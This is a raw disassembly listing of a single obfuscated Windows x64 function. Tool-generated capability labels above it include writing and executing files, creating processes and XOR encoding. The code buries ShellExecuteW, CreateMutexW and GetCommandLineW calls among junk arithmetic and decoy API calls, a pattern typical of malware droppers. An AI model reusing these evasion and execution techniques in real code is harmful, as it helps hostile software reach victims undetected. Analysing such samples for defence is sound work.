Function at 0x1400011b0
Capabilities:
Accept command line arguments
Clear file content
Create process on windows
Encode data using xor
Get system information on windows
Write and execute a file

Disassembly:
mov dword [rsp + 0x20], r9d
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
sub rsp, 0x768
movabs rax, 0x784380d3b95c6f
mov qword [rsp + 0x2b0], rax
movsx eax, word [section..data]
add eax, 0x48c
mov word [section..data], ax
mov dword [rsp + 0x448], 0x1613
lea rax, [rsp + 0x448]
mov qword [rsp + 0x628], rax
mov dword [rsp + 0x180], 0x2aa2
lea rax, [rsp + 0x2b0]
mov qword [rsp + 0x2b8], rax
movzx eax, word [section..data]
mov word [0x140019360], ax
mov byte [rsp + 0x470], 0x79
lea rcx, str.bITbQTl_Q0.mSyrLCcm
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x63c], ax
mov eax, 0xace
mov word [rsp + 0x168], ax
mov dword [rsp + 0x59c], 0x374f
mov byte [rsp + 0x318], 0x50
movabs rax, 0x7709e36eca0928
mov qword [rsp + 0x4b0], rax
movzx eax, word [rsp + 0x168]
mov dword [rsp + 0x6b8], eax
cmp dword [rsp + 0x6b8], 0xace
je 0x1400012a4
jmp 0x14000136b
movzx eax, byte [rsp + 0x470]
mov byte [rsp + 0x2ed], al
lea rax, [rsp + 0x2ed]
mov qword [rsp + 0xf8], rax
mov al, byte [rsp + 0x318]
mov byte [rsp + 0x6bc], al
cmp byte [rsp + 0x6bc], 0x50
je 0x1400012dd
jmp 0x14000134c
mov rax, qword [rsp + 0xf8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x470]
sub eax, ecx
mov byte [0x140018002], al
mov dword [rsp + 0x5c8], 0x4cac
movzx eax, byte [rsp + 0x318]
mov byte [rsp + 0x260], al
lea rax, [rsp + 0x168]
mov qword [rsp + 0x340], rax
movzx eax, word [section..data]
mov word [rsp + 0x670], ax
mov eax, dword [rsp + 0x180]
mov dword [rsp + 0x680], eax
mov dword [rsp + 0x430], 0x7525
jmp 0x140001369
movabs rcx, 0x71f2faba7ee589
mov rax, qword [rsp + 0x4b0]
and rax, rcx
mov qword [rsp + 0x4b0], rax
jmp 0x1400013b7
mov rcx, qword [rsp + 0x2b0]
mov rax, qword [rsp + 0x2b8]
mov rax, qword [rax]
shr rax, cl
mov rcx, rax
mov rax, qword [rsp + 0x2b8]
mov qword [rax], rcx
mov rax, qword [rsp + 0x628]
mov eax, dword [rax]
xor eax, 0xffb9
mov dword [rsp + 0x448], eax
movsx eax, byte [rsp + 0x260]
shl eax, 3
mov byte [rsp + 0x318], al
movzx ecx, word [rsp + 0x168]
or ecx, 0xd0a
mov rax, qword [rsp + 0x340]
movzx eax, word [rax]
cmp ecx, eax
jle 0x140009b50
movsx ecx, byte [rsp + 0x260]
shl ecx, 3
movsx eax, byte [rsp + 0x318]
cmp ecx, eax
jg 0x140001448
call fcn.1400010b0
movzx ecx, byte [rsp + 0x2ed]
movzx eax, byte [rsp + 0x470]
add ecx, eax
mov rax, qword [rsp + 0xf8]
mov byte [rax], cl
mov rax, qword [rsp + 0x2b8]
mov rax, qword [rax]
movabs rcx, 0x77b6a1873c97f5
sub rax, rcx
mov qword [rsp + 0x2b0], rax
mov eax, dword [rsp + 0x680]
sub eax, 0x372
mov dword [rsp + 0x180], eax
call fcn.1400010b0
mov dword [rsp + 0x598], 0x566a
lea rax, [rsp + 0x448]
mov qword [rsp + 0x5c0], rax
mov rax, qword [rsp + 0x340]
movzx ecx, word [rax]
add ecx, 0x834
movzx eax, word [rsp + 0x168]
cmp ecx, eax
jg 0x1400014e1
mov rax, qword [rsp + 0x340]
movzx eax, word [rax]
sar eax, 0xc
mov word [rsp + 0x168], ax
mov rax, qword [rsp + 0xf8]
movzx edx, byte [rax]
movzx eax, byte [rsp + 0x470]
movzx ecx, al
mov eax, edx
shl eax, cl
mov ecx, eax
mov rax, qword [rsp + 0xf8]
mov byte [rax], cl
mov rax, qword [rsp + 0xf8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x470]
xor eax, ecx
mov byte [0x140018002], al
call fcn.140009c50
jmp 0x1400015aa
movabs rax, 0x78dad409fa6c65
cmp qword [rsp + 0x4b0], rax
je 0x1400015aa
movzx eax, byte [rsp + 0x470]
mov byte [rsp + 0x99], al
mov eax, dword [rsp + 0x180]
mov dword [rsp + 0xe8], eax
lea rcx, str.VJMV_Cx.Lv
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x32c], ax
movsx ecx, word [rsp + 0x670]
movsx eax, word [0x140019360]
or ecx, eax
movsx eax, word [section..data]
cmp ecx, eax
jle 0x14000158f
mov rdx, qword [rsp + 0x5c0]
mov rax, qword [rsp + 0x628]
mov ecx, dword [rax]
mov eax, dword [rdx]
and eax, ecx
mov dword [rsp + 0x448], eax
movzx ecx, byte [rsp + 0x470]
movzx eax, byte [rsp + 0x2ed]
sub ecx, eax
mov rax, qword [rsp + 0xf8]
mov byte [rax], cl
mov rcx, qword [rsp + 0x4b0]
call fcn.140009c00
jmp 0x14000159f
lea rax, [rsp + 0x2b0]
mov qword [rsp + 0x698], rax
mov dword [rsp + 0x3d0], 0xed0c
cmp dword [rsp + 0x598], 0x4cde
jbe 0x140001aee
movzx ecx, byte [rsp + 0x99]
movzx eax, byte [rsp + 0x470]
add ecx, eax
mov rax, qword [rsp + 0xf8]
mov byte [rax], cl
movzx ecx, byte [rsp + 0x2ed]
movzx eax, byte [rsp + 0x99]
sub ecx, eax
mov rax, qword [rsp + 0xf8]
mov byte [rax], cl
movzx ecx, word [rsp + 0x168]
add ecx, 0x9ae
mov rax, qword [rsp + 0x340]
mov word [rax], cx
movzx edx, byte [rsp + 0x2ed]
mov rax, qword [rsp + 0xf8]
movzx ecx, byte [rax]
mov eax, edx
and eax, ecx
mov byte [0x140018002], al
mov rax, qword [rsp + 0x5c0]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x628]
add eax, dword [rcx]
mov dword [rsp + 0x448], eax
mov rcx, qword [rsp + 0x628]
mov eax, dword [rsp + 0x448]
mov ecx, dword [rcx]
sub ecx, eax
mov rax, qword [rsp + 0x5c0]
mov dword [rax], ecx
mov rax, qword [rsp + 0x2b8]
mov rcx, qword [rsp + 0x698]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x2b0], rax
mov rax, qword [rsp + 0xf8]
movzx ecx, byte [rax]
movzx eax, byte [rsp + 0x99]
add ecx, eax
mov rax, qword [rsp + 0xf8]
mov byte [rax], cl
mov rax, qword [rsp + 0x340]
movzx eax, word [rax]
xor eax, 0x7c0
mov word [rsp + 0x168], ax
movsx edx, word [section..data]
movsx eax, word [0x140019360]
movzx ecx, al
mov eax, edx
sar eax, cl
mov word [rsp + 0x670], ax
movsx eax, byte [rsp + 0x318]
or eax, 0x4f
mov byte [rsp + 0x260], al
mov rax, qword [rsp + 0xf8]
movzx edx, byte [rax]
movzx eax, byte [rsp + 0x2ed]
movzx ecx, al
mov eax, edx
shl eax, cl
mov byte [rsp + 0x99], al
movsx eax, word [rsp + 0x670]
movsx ecx, word [0x140019360]
and eax, ecx
mov word [section..data], ax
mov rax, qword [rsp + 0x698]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x2b8]
add rax, qword [rcx]
mov qword [rsp + 0x2b0], rax
mov rdx, qword [rsp + 0x628]
mov rax, qword [rsp + 0x5c0]
mov ecx, dword [rax]
mov eax, dword [rdx]
sub eax, ecx
mov dword [rsp + 0x448], eax
mov ecx, dword [rsp + 0x180]
mov eax, dword [rsp + 0xe8]
sub eax, ecx
mov dword [rsp + 0x680], eax
movabs rcx, 0x774203b1923a5b
mov rax, qword [rsp + 0x4b0]
add rax, rcx
mov qword [rsp + 0x4b0], rax
movsx eax, word [0x140019360]
movsx ecx, word [section..data]
sub eax, ecx
mov word [rsp + 0x670], ax
movsx eax, byte [rsp + 0x318]
and eax, 0x73
mov byte [rsp + 0x260], al
movzx eax, byte [rsp + 0x99]
movzx ecx, byte [rsp + 0x470]
add eax, ecx
mov byte [rsp + 0x2ed], al
mov rax, qword [rsp + 0x340]
movzx eax, word [rax]
sub eax, 0xc10
mov word [rsp + 0x168], ax
movzx edx, byte [rsp + 0x99]
mov rax, qword [rsp + 0xf8]
movzx ecx, byte [rax]
mov eax, edx
add eax, ecx
mov byte [0x140018002], al
movabs rcx, 0x798943af5756ad
mov rax, qword [rsp + 0x4b0]
xor rax, rcx
mov qword [rsp + 0x4b0], rax
mov rax, qword [rsp + 0x628]
mov ecx, dword [rax]
mov rax, qword [rsp + 0x5c0]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x448], eax
mov ecx, dword [rsp + 0xe8]
mov eax, dword [rsp + 0x180]
or eax, ecx
mov dword [rsp + 0x680], eax
mov rcx, qword [rsp + 0x2b8]
mov rcx, qword [rcx]
mov rax, qword [rsp + 0x698]
mov rax, qword [rax]
shr rax, cl
mov qword [rsp + 0x2b0], rax
movsx eax, word [0x140019360]
movsx ecx, word [section..data]
and eax, ecx
mov word [rsp + 0x670], ax
movzx ecx, byte [rsp + 0x470]
movzx eax, byte [rsp + 0x2ed]
add ecx, eax
mov rax, qword [rsp + 0xf8]
mov byte [rax], cl
mov rax, qword [rsp + 0x340]
movzx eax, word [rax]
sub eax, 0xa18
mov word [rsp + 0x168], ax
movzx edx, byte [rsp + 0x470]
mov rax, qword [rsp + 0xf8]
movzx ecx, byte [rax]
mov eax, edx
add eax, ecx
mov byte [rsp + 0x2ed], al
mov rax, qword [rsp + 0xf8]
movzx ecx, byte [rax]
movzx eax, byte [rsp + 0x470]
sub ecx, eax
mov rax, qword [rsp + 0xf8]
mov byte [rax], cl
mov rax, qword [rsp + 0x2b8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x698]
add rax, qword [rcx]
mov qword [rsp + 0x2b0], rax
mov rdx, qword [rsp + 0x628]
mov rax, qword [rsp + 0x5c0]
mov ecx, dword [rax]
mov eax, dword [rdx]
sub eax, ecx
mov dword [rsp + 0x448], eax
mov ecx, dword [rsp + 0x680]
mov eax, dword [rsp + 0x180]
and eax, ecx
mov dword [rsp + 0xe8], eax
movabs rcx, 0x7570e2ff95b181
mov rax, qword [rsp + 0x4b0]
add rax, rcx
mov qword [rsp + 0x4b0], rax
mov rax, qword [rsp + 0xf8]
movzx edx, byte [rax]
movzx eax, byte [rsp + 0x470]
movzx ecx, al
mov eax, edx
shl eax, cl
mov ecx, eax
mov rax, qword [rsp + 0xf8]
mov byte [rax], cl
mov rax, qword [rsp + 0xf8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x2ed]
or eax, ecx
mov byte [rsp + 0x99], al
movsx edx, word [section..data]
movsx eax, word [0x140019360]
movzx ecx, al
mov eax, edx
sar eax, cl
mov word [rsp + 0x670], ax
movsx eax, byte [rsp + 0x318]
xor eax, 0x5f
mov byte [rsp + 0x260], al
movsx eax, word [section..data]
movsx ecx, word [rsp + 0x670]
sub eax, ecx
mov word [0x140019360], ax
mov ecx, dword [rsp + 0x180]
mov eax, dword [rsp + 0x680]
and eax, ecx
mov dword [rsp + 0xe8], eax
mov eax, dword [rsp + 0x598]
sub eax, 0x5e
mov dword [rsp + 0x598], eax
movzx ecx, byte [rsp + 0x99]
movzx eax, byte [rsp + 0x470]
sub ecx, eax
mov rax, qword [rsp + 0xf8]
mov byte [rax], cl
mov rax, qword [rsp + 0x698]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x2b8]
add rax, qword [rcx]
mov qword [rsp + 0x2b0], rax
mov rax, qword [rsp + 0x628]
mov ecx, dword [rax]
add ecx, dword [rsp + 0x448]
mov rax, qword [rsp + 0x5c0]
mov dword [rax], ecx
movsx eax, word [0x140019360]
movsx ecx, word [section..data]
sub eax, ecx
mov word [rsp + 0x670], ax
mov rax, qword [rsp + 0x340]
movzx eax, word [rax]
sub eax, 0xe3e
mov word [rsp + 0x168], ax
movsx eax, byte [rsp + 0x318]
add eax, 0x76
mov byte [rsp + 0x260], al
movzx eax, byte [rsp + 0x2ed]
movzx ecx, byte [rsp + 0x470]
sub eax, ecx
mov byte [rsp + 0x99], al
movzx ecx, word [rsp + 0x63c]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x264], ax
jmp 0x1400015aa
movzx edx, word [rsp + 0x168]
mov rax, qword [rsp + 0x340]
movzx ecx, word [rax]
mov eax, edx
imul eax, ecx
mov word [0x140018004], ax
mov rax, qword [rsp + 0xf8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x2ed]
and eax, ecx
mov byte [rsp + 0x99], al
lea rax, [rsp + 0x2b0]
mov qword [rsp + 0x510], rax
movsx eax, word [rsp + 0x670]
mov dword [rsp + 0x6c0], eax
cmp dword [rsp + 0x6c0], 0x34e
je 0x140001b5a
jmp 0x140001c3f
mov ecx, dword [rsp + 0x680]
mov eax, dword [rsp + 0xe8]
xor eax, ecx
mov dword [rsp + 0x180], eax
movabs rcx, 0x701c3a56bc44be
mov rax, qword [rsp + 0x4b0]
or rax, rcx
mov qword [rsp + 0x4b0], rax
mov rcx, qword [rsp + 0x4b0]
call fcn.140009c00
mov r11, qword [rsp + 0x5c0]
mov ecx, dword [r11]
mov rax, qword [rsp + 0x628]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0x448], eax
mov dword [rsp + 0x28], 0x5f
mov rax, qword [rsp + 0xc0]
mov qword [rsp + 0x20], rax
mov r9, qword [rsp + 0x410]
mov r8, qword [rsp + 0x520]
mov rdx, qword [rsp + 0x410]
mov rcx, qword [rsp + 0x258]
call qword [sym.imp.SHELL32.dll_ShellExecuteW]
mov qword [rsp + 0x1b0], rax
movzx edx, byte [rsp + 0x99]
movzx eax, byte [rsp + 0x2ed]
movzx ecx, al
mov eax, edx
shl eax, cl
mov ecx, eax
mov rax, qword [rsp + 0xf8]
mov byte [rax], cl
movzx edx, word [0x140018004]
mov rax, qword [rsp + 0x340]
movzx ecx, word [rax]
mov eax, edx
add eax, ecx
mov word [rsp + 0x168], ax
jmp 0x140001cbd
movzx eax, byte [rsp + 0x260]
mov byte [rsp + 0x2ec], al
mov rax, qword [rsp + 0xf8]
movzx eax, byte [rax]
mov byte [rsp + 0x3b0], al
movzx eax, byte [rsp + 0x2ec]
mov byte [0x140019344], al
movsx eax, byte [rsp + 0x318]
movsx ecx, byte [0x140019344]
add eax, ecx
mov byte [rsp + 0x260], al
mov eax, dword [rsp + 0x680]
mov dword [rsp + 0xa0], eax
mov rax, qword [rsp + 0x4b0]
mov qword [rsp + 0x150], rax
mov dword [rsp + 0x420], 0xdadc
mov eax, dword [rsp + 0x448]
mov dword [rsp + 0x248], eax
mov rax, qword [rsp + 0x698]
mov rax, qword [rax]
mov qword [rsp + 0x198], rax
lea rax, [rsp + 0x168]
mov qword [rsp + 0x458], rax
movsx ecx, word [rsp + 0x670]
movsx eax, word [section..data]
and ecx, eax
movsx eax, word [0x140019360]
cmp ecx, eax
jle 0x140001d40
call fcn.1400010b0
movzx ecx, word [rsp + 0x168]
mov rax, qword [rsp + 0x340]
movzx eax, word [rax]
add ecx, eax
mov rax, qword [rsp + 0x458]
mov word [rax], cx
mov rax, qword [rsp + 0x628]
mov ecx, dword [rax]
mov eax, dword [rsp + 0x448]
sub eax, ecx
mov dword [rsp + 0x248], eax
jmp 0x140009b01
mov ecx, dword [rsp + 0x680]
mov eax, dword [rsp + 0xa0]
sub eax, ecx
mov dword [rsp + 0xe8], eax
mov eax, dword [rsp + 0xe8]
mov dword [rsp + 0x6c4], eax
cmp dword [rsp + 0x6c4], 0
je 0x140001d74
jmp 0x140009a29
movsx edx, byte [0x140019344]
movsx eax, byte [rsp + 0x2ec]
add edx, eax
movsx eax, byte [rsp + 0x318]
movsx ecx, byte [rsp + 0x260]
add eax, ecx
cmp edx, eax
je 0x140001dda
movzx eax, word [0x140018004]
mov word [rsp + 0x390], ax
movzx eax, word [rsp + 0x670]
mov word [rsp + 0x4c0], ax
lea rax, [rsp + 0x260]
mov qword [rsp + 0x1d8], rax
lea rax, [rsp + 0x248]
mov qword [rsp + 0x290], rax
lea rax, [rsp + 0x2b0]
mov qword [rsp + 0x360], rax
lea rax, [rsp + 0x150]
mov qword [rsp + 0x1a8], rax
lea rax, [rsp + 0xa0]
mov qword [rsp + 0x170], rax
movzx eax, word [rsp + 0x670]
mov word [rsp + 0x418], ax
mov rax, qword [rsp + 0x170]
mov edx, dword [rsp + 0x180]
imul edx, dword [rax]
mov ecx, dword [rsp + 0xe8]
mov eax, dword [rsp + 0x680]
and eax, ecx
cmp edx, eax
jg 0x140001ec8
movzx edx, word [rsp + 0x390]
movzx eax, word [rsp + 0x168]
movzx ecx, al
mov eax, edx
shl eax, cl
mov ecx, eax
mov rax, qword [rsp + 0x458]
mov word [rax], cx
mov rcx, qword [rsp + 0x1a8]
mov rcx, qword [rcx]
mov rax, qword [rsp + 0x4b0]
xor rax, rcx
mov qword [rsp + 0x150], rax
mov rcx, qword [rsp + 0x198]
mov rax, qword [rsp + 0x510]
mov rax, qword [rax]
shr rax, cl
mov qword [rsp + 0x2b0], rax
mov rax, qword [rsp + 0x170]
mov ecx, dword [rsp + 0xe8]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x680], eax
call fcn.140009c50
jmp 0x140009992
mov eax, dword [rsp + 0x248]
mov dword [rsp + 0x348], eax
movsx eax, word [rsp + 0x4c0]
movsx ecx, word [rsp + 0x418]
and eax, ecx
mov word [rsp + 0x670], ax
mov rax, qword [rsp + 0x698]
mov rax, qword [rax]
mov rdx, qword [rsp + 0x198]
add rdx, rax
mov rcx, qword [rsp + 0x360]
mov rcx, qword [rcx]
mov rax, qword [rsp + 0x2b0]
sub rax, rcx
cmp rdx, rax
jne 0x140001f76
mov rax, qword [rsp + 0x458]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x390]
add eax, ecx
mov word [0x140018008], ax
mov dword [rsp + 0x280], 0x4246
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0x610], rax
movsx eax, word [0x140019360]
movsx ecx, word [rsp + 0x670]
sub eax, ecx
mov word [rsp + 0x418], ax
mov rax, qword [rsp + 0x1d8]
movzx eax, byte [rax]
mov byte [rsp + 0x5b8], al
mov rax, qword [rsp + 0x458]
movzx eax, word [rax]
mov word [rsp + 0x148], ax
movzx eax, byte [0x140018002]
movzx ecx, byte [rsp + 0x2ed]
imul eax, ecx
mov byte [rsp + 0x99], al
lea rax, [rsp + 0x2b0]
mov qword [rsp + 0x250], rax
mov rax, qword [rsp + 0x4b0]
mov qword [rsp + 0x6c8], rax
movabs rax, 0x709862ca979484
cmp qword [rsp + 0x6c8], rax
je 0x1400098f8
movabs rax, 0x15a42fcb6f3a0928
cmp qword [rsp + 0x6c8], rax
je 0x140002005
jmp 0x14000995a
mov rax, qword [rsp + 0x340]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x168]
cdq
idiv ecx
mov word [rsp + 0x148], ax
mov rcx, qword [rsp + 0x628]
mov eax, dword [rsp + 0x448]
mov edx, dword [rcx]
or edx, eax
mov ecx, dword [rsp + 0x248]
mov rax, qword [rsp + 0x5c0]
mov eax, dword [rax]
shl eax, cl
cmp edx, eax
jne 0x140009875
mov rcx, qword [rsp + 0x360]
mov rax, qword [rsp + 0x510]
mov rax, qword [rax]
mov rcx, qword [rcx]
sub rcx, rax
mov rax, qword [rsp + 0x2b8]
mov qword [rax], rcx
mov rax, qword [rsp + 0x170]
mov ecx, dword [rax]
add ecx, dword [rsp + 0xa0]
mov rax, qword [rsp + 0x170]
mov dword [rax], ecx
mov rcx, qword [rsp + 0x628]
mov rax, qword [rsp + 0x5c0]
mov eax, dword [rax]
mov ecx, dword [rcx]
sub ecx, eax
mov rax, qword [rsp + 0x290]
mov dword [rax], ecx
mov rax, qword [rsp + 0x1d8]
movsx ecx, byte [rax]
movsx eax, byte [rsp + 0x260]
add ecx, eax
mov rax, qword [rsp + 0x1d8]
mov byte [rax], cl
movsx eax, word [rsp + 0x670]
movsx ecx, word [rsp + 0x4c0]
sub eax, ecx
mov word [rsp + 0x418], ax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0x1e8], eax
movzx ecx, word [rsp + 0x148]
mov rax, qword [rsp + 0x340]
movzx eax, word [rax]
and ecx, eax
mov rax, qword [rsp + 0x458]
mov word [rax], cx
mov rax, qword [rsp + 0xf8]
movzx ecx, byte [rax]
movzx eax, byte [rsp + 0x3b0]
add ecx, eax
mov rax, qword [rsp + 0xf8]
mov byte [rax], cl
mov rax, qword [rsp + 0xf8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x470]
sub eax, ecx
mov byte [rsp + 0x99], al
mov rax, qword [rsp + 0x250]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x360]
add rax, qword [rcx]
mov qword [rsp + 0x198], rax
mov eax, dword [rsp + 0x3d0]
add eax, 0x70
mov dword [rsp + 0x3d0], eax
lea rcx, [rsp + 0x490]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
mov r11, qword [rsp + 0x170]
mov ecx, dword [rsp + 0xe8]
mov eax, dword [r11]
or eax, ecx
mov dword [rsp + 0x180], eax
mov rcx, qword [rsp + 0x4b0]
mov rax, qword [rsp + 0x1a8]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0x150], rax
mov rax, qword [rsp + 0x628]
mov ecx, dword [rax]
mov eax, dword [rsp + 0x448]
xor eax, ecx
mov dword [rsp + 0x348], eax
movsx edx, byte [rsp + 0x2ec]
mov rax, qword [rsp + 0x1d8]
movsx eax, byte [rax]
movzx ecx, al
mov eax, edx
sar eax, cl
mov byte [0x140019344], al
movsx eax, word [rsp + 0x418]
movsx ecx, word [rsp + 0x4c0]
and eax, ecx
mov word [rsp + 0x670], ax
mov rax, qword [rsp + 0x340]
movzx edx, word [rax]
mov rax, qword [rsp + 0x458]
movzx ecx, word [rax]
mov eax, edx
sub eax, ecx
mov word [rsp + 0x168], ax
movzx ecx, word [rsp + 0x148]
mov rax, qword [rsp + 0x458]
movzx eax, word [rax]
add ecx, eax
mov rax, qword [rsp + 0x340]
mov word [rax], cx
mov rax, qword [rsp + 0x170]
mov ecx, dword [rax]
add ecx, dword [rsp + 0x680]
mov rax, qword [rsp + 0x170]
mov dword [rax], ecx
mov rcx, qword [rsp + 0x2b8]
mov rax, qword [rsp + 0x360]
mov rax, qword [rax]
mov rcx, qword [rcx]
sub rcx, rax
mov rax, qword [rsp + 0x698]
mov qword [rax], rcx
mov ecx, dword [rsp + 0x448]
mov eax, dword [rsp + 0x348]
sub eax, ecx
mov dword [rsp + 0x248], eax
mov rcx, qword [rsp + 0x1a8]
mov rax, qword [rsp + 0x150]
mov rcx, qword [rcx]
sub rcx, rax
mov rax, qword [rsp + 0x1a8]
mov qword [rax], rcx
mov rcx, qword [rsp + 0x170]
mov eax, dword [rsp + 0x180]
mov ecx, dword [rcx]
and ecx, eax
mov rax, qword [rsp + 0x170]
mov dword [rax], ecx
mov rax, qword [rsp + 0xf8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x99]
add eax, ecx
mov byte [0x140018002], al
mov rax, qword [rsp + 0x340]
movzx edx, word [rax]
movzx eax, word [rsp + 0x148]
movzx ecx, al
mov eax, edx
sar eax, cl
mov word [rsp + 0x168], ax
movsx eax, byte [rsp + 0x260]
movsx ecx, byte [rsp + 0x2ec]
xor eax, ecx
mov byte [rsp + 0x318], al
movzx edx, byte [rsp + 0x470]
mov rax, qword [rsp + 0xf8]
movzx ecx, byte [rax]
mov eax, edx
or eax, ecx
mov byte [rsp + 0x2ed], al
cmp dword [rsp + 0x3d0], 0x1170c
jne 0x140002051
movsx edx, byte [rsp + 0x2ec]
mov rax, qword [rsp + 0x1d8]
movsx eax, byte [rax]
movzx ecx, al
mov eax, edx
shl eax, cl
mov byte [rsp + 0x318], al
cmp dword [rsp + 0x280], 0x5682
jae 0x140002642
mov rax, qword [rsp + 0x198]
mov rcx, qword [rsp + 0x2b0]
add rcx, rax
mov rax, qword [rsp + 0x2b8]
mov qword [rax], rcx
mov rcx, qword [rsp + 0x1a8]
mov rcx, qword [rcx]
mov rax, qword [rsp + 0x4b0]
and rax, rcx
mov qword [rsp + 0x150], rax
mov rax, qword [rsp + 0x170]
mov ecx, dword [rax]
add ecx, dword [rsp + 0xa0]
mov rax, qword [rsp + 0x170]
mov dword [rax], ecx
mov rdx, qword [rsp + 0x290]
mov rax, qword [rsp + 0x628]
mov ecx, dword [rax]
mov eax, dword [rdx]
sub eax, ecx
mov dword [rsp + 0x248], eax
movsx eax, word [0x140019360]
movsx ecx, word [rsp + 0x418]
sub eax, ecx
mov word [section..data], ax
movsx eax, word [rsp + 0x418]
movsx ecx, word [rsp + 0x4c0]
sub eax, ecx
mov word [rsp + 0x670], ax
mov rax, qword [rsp + 0x340]
movzx ecx, word [rax]
mov rax, qword [rsp + 0x458]
movzx eax, word [rax]
add ecx, eax
mov rax, qword [rsp + 0x340]
mov word [rax], cx
movzx eax, byte [rsp + 0x470]
movzx ecx, byte [rsp + 0x99]
add eax, ecx
mov byte [rsp + 0x2ed], al
mov rax, qword [rsp + 0x1d8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x2ec]
add eax, ecx
mov byte [rsp + 0x5b8], al
mov rax, qword [rsp + 0x5c0]
mov ecx, dword [rax]
mov eax, dword [rsp + 0x448]
and eax, ecx
mov dword [rsp + 0x348], eax
mov rax, qword [rsp + 0x1a8]
mov rcx, qword [rsp + 0x150]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0x4b0], rax
mov rcx, qword [rsp + 0x198]
mov rax, qword [rsp + 0x698]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0x2b0], rax
mov ecx, dword [rsp + 0x180]
mov rax, qword [rsp + 0x170]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0xe8], eax
mov eax, dword [rsp + 0x280]
add eax, 0x4a
mov dword [rsp + 0x280], eax
movzx eax, byte [rsp + 0x3b0]
movzx ecx, byte [rsp + 0x99]
xor eax, ecx
mov byte [0x140018002], al
movzx edx, word [rsp + 0x168]
mov rax, qword [rsp + 0x340]
movzx ecx, word [rax]
mov eax, edx
sub eax, ecx
mov word [rsp + 0x148], ax
mov rax, qword [rsp + 0x170]
mov ecx, dword [rax]
add ecx, dword [rsp + 0x180]
mov rax, qword [rsp + 0x170]
mov dword [rax], ecx
mov rax, qword [rsp + 0x1d8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x318]
and eax, ecx
mov byte [rsp + 0x5b8], al
movsx eax, word [0x140019360]
movsx ecx, word [rsp + 0x418]
sub eax, ecx
mov word [rsp + 0x670], ax
mov rax, qword [rsp + 0x628]
mov ecx, dword [rsp + 0x348]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x448], eax
mov rcx, qword [rsp + 0x1a8]
mov rcx, qword [rcx]
mov rax, qword [rsp + 0x150]
add rax, rcx
mov qword [rsp + 0x4b0], rax
mov ecx, dword [rsp + 0xe8]
mov eax, dword [rsp + 0xa0]
add eax, ecx
mov dword [rsp + 0x180], eax
mov rcx, qword [rsp + 0x250]
mov rax, qword [rsp + 0x510]
mov rax, qword [rax]
mov rcx, qword [rcx]
sub rcx, rax
mov rax, qword [rsp + 0x360]
mov qword [rax], rcx
mov rax, qword [rsp + 0xf8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x3b0]
sub eax, ecx
mov byte [rsp + 0x2ed], al
jmp 0x140002397
lea rax, [0x140018004]
mov qword [rsp + 0x200], rax
movzx eax, byte [rsp + 0x318]
mov byte [rsp + 0x638], al
mov rax, qword [rsp + 0x1a8]
mov rax, qword [rax]
add rax, qword [rsp + 0x150]
cmp rax, qword [rsp + 0x4b0]
jne 0x140009745
mov rcx, qword [rsp + 0x170]
mov eax, dword [rsp + 0x680]
mov edx, dword [rcx]
sub edx, eax
mov ecx, dword [rsp + 0xe8]
mov eax, dword [rsp + 0xa0]
sub eax, ecx
cmp edx, eax
jle 0x14000274b
movzx edx, byte [rsp + 0x470]
mov rax, qword [rsp + 0xf8]
movzx eax, byte [rax]
movzx ecx, al
mov eax, edx
sar eax, cl
mov byte [rsp + 0x2ed], al
movsx eax, word [rsp + 0x670]
movsx ecx, word [rsp + 0x418]
or eax, ecx
mov word [rsp + 0x4c0], ax
mov rax, qword [rsp + 0x170]
mov ecx, dword [rsp + 0x180]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0xa0], eax
mov rdx, qword [rsp + 0x5c0]
mov rax, qword [rsp + 0x628]
mov ecx, dword [rax]
mov eax, dword [rdx]
and eax, ecx
mov dword [rsp + 0x248], eax
lea r9, [rsp + 0x3f8]
mov r8d, 0x78
mov edx, 0x49
mov rcx, qword [rsp + 0x650]
call qword [sym.imp.GDI32.dll_GetCharABCWidthsW]
mov dword [rsp + 0x584], eax
jmp 0x1400027d8
mov rax, qword [rsp + 0x198]
mov rdx, qword [rsp + 0x2b0]
add rdx, rax
mov rcx, qword [rsp + 0x250]
mov rcx, qword [rcx]
mov rax, qword [rsp + 0x360]
mov rax, qword [rax]
shl rax, cl
cmp rdx, rax
jne 0x1400027d8
mov rax, qword [rsp + 0x250]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x198]
sub rcx, rax
mov rax, qword [rsp + 0x360]
mov qword [rax], rcx
mov rax, qword [rsp + 0x4b0]
mov qword [rsp + 0x5d8], rax
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0x118], rax
